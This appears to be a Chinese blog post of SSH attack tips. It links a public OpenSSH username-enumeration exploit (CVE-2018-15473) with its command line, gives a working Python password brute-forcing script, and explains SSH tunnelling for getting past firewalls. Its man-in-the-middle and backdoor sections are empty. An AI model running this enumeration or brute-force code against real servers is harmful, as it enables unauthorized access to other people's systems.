首页 > 技术文章 > SSH攻击的一些Tips

mark-zh 2019-06-26 15:25 原文

  • SSH用户名枚举
  • SSH暴力破解
  • SSH远程操作
  • 端口转发
  • 中间人攻击
  • SSH后门
    -C  压缩数据传输
    -f  后台认证用户/密码,通常与-N连用,不用登陆到远程主机,如果通过其他程序控制隧道连接,应当避免将SSH客户端放到后台执行,也就是去掉-f参数
    -N  不执行shell[与 -f 合用]
    -g  在-L/-D/-R参数中,允许远程主机连接到建立的转发端口,如果不加这个参数,只允许本地主机建立连接        
    -L  本地端口转发
    -R  远程端口转发
    -p  ssh 端口
    -l  指定登录用户名

OpenSSH用户名枚举漏洞(CVE-2018-15473)

https://github.com/Rhynorater/CVE-2018-15473-Exploit

python3 sshUsernameEnumExploit.py --port 22 --userList exampleInput.txt ip

SSH暴力破解

#coding=utf-8
from pexpect import pxssh

def coon(hostname,user,password):
    try:
        s = pxssh.pxssh()
        result = s.login(hostname,user,password)
    except Exception as e:
        pass

    return result

def main():
    with open('/hostname.txt','r') as h1:
        with open('/user.txt','r') as u1:
            with open('/password.txt','r') as p1:
                h = h1.readlines()
                u = u1.readlines()
                p = p1.readlines()
                for hostname in h:
                    for user in u:
                        for password in p:
                            hostname = hostname.strip('\n')
                            user = user.strip('\n')
                            password = password.strip('\n')

                            try:
                                res = coon(hostname,user,password)

                                if res == True:
                                    print '[-]success:',hostname,'-',user,'-',password
        
                            except Exception as e:
                                pass

if __name__ == '__main__':
    main()

SSH远程操作

远程执行命令

ssh mark@10.211.55.13 'whoami'

执行需要交互的命令

ssh -t mark@10.211.55.13 'su root'

执行本地脚本

ssh mark@10.211.55.13 < test.sh

执行远程服务器上的脚本

ssh mark@10.211.55.13 '/home/mark/test.sh'

端口转发

SSH端口转发能够提供两大功能:

  1. 加密 SSH Client 端至 SSH Server 端之间的通讯数据。
  2. 突破防火墙的限制完成一些之前无法建立的 TCP 连接。

绑定本地端口
既然SSH可以传送数据,那么我们可以让那些不加密的网络连接,全部改走SSH连接,从而提高安全性。 假定我们要让8080端口的数据,都通过SSH传向远程主机,命令就这样写:

ssh -D 8080 user@host

SSH建立一个socket,监听本地的8080端口。当有数据发送端口,就把它转移到SSH连接上面,发往远程主机。如果8080端口原来是一个不加密端口,现在将变成一个加密端口。

转发方式:

  • 本地转发
  • 远程转发
  • 动态转发
  • X协议转发

本地转发

绑定本地端口的转发。用法:ssh -L 本地端口:目标主机:目标主机端口 <user@host>

假定host1是本地主机,host2是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台host3,可以同时连通前面两台主机。因此,很自然的想法就是,通过host3,将host1连上host2。 我们在host1执行下面的命令:

ssh -L 2121:host2:21 host3

这条命令的意思,就是指定SSH绑定本地端口2121,然后指定host3将所有的数据,转发到目标主机host2的21端口(假定host2运行FTP,默认端口为21)。 这样一来,我们只要连接host1的2121端口,就等于连上了host2的21端口。

ftp localhost:2121

"本地端口转发"使得host1和host3之间仿佛形成一个数据传输的秘密隧道,因此又被称为"SSH隧道"。

远程转发
绑定远程端口的转发。用法:ssh -R 远程主机端口:目标主机:目标主机端口 <user@host>

假定host1与host2之间无法连通,必须借助host3转发。但是,特殊情况出现了,host3是一台内网机器,它可以连接外网的host1,但是反过来就不行,外网的host1连不上内网的host3。这时,"本地端口转发"就不能用了,怎么办? 解决办法是,既然host3可以连host1,那么就从host3上建立与host1的SSH连接,然后在host1上使用这条连接就可以了。 我们在host3执行下面的命令:

ssh -R 2121:host2:21 host1

让host1监听它自己的2121端口,然后将所有数据经由host3,转发到host2的21端口。由于对于host3来说,host1是远程主机,所以这种情况就被称为"远程端口绑定"。 绑定之后,我们在host1就可以连接host2了:

ftp localhost:2121

动态转发
把远程ssh服务器作为代理服务器,常用于FQ。用法:ssh -D <local port> <user@host>

ssh -D 8888 user@host

X协议转发

ssh -X  <user@host>

中间人攻击

SSH后门

参考:

https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html
https://www.freebuf.com/articles/network/129434.html

推荐阅读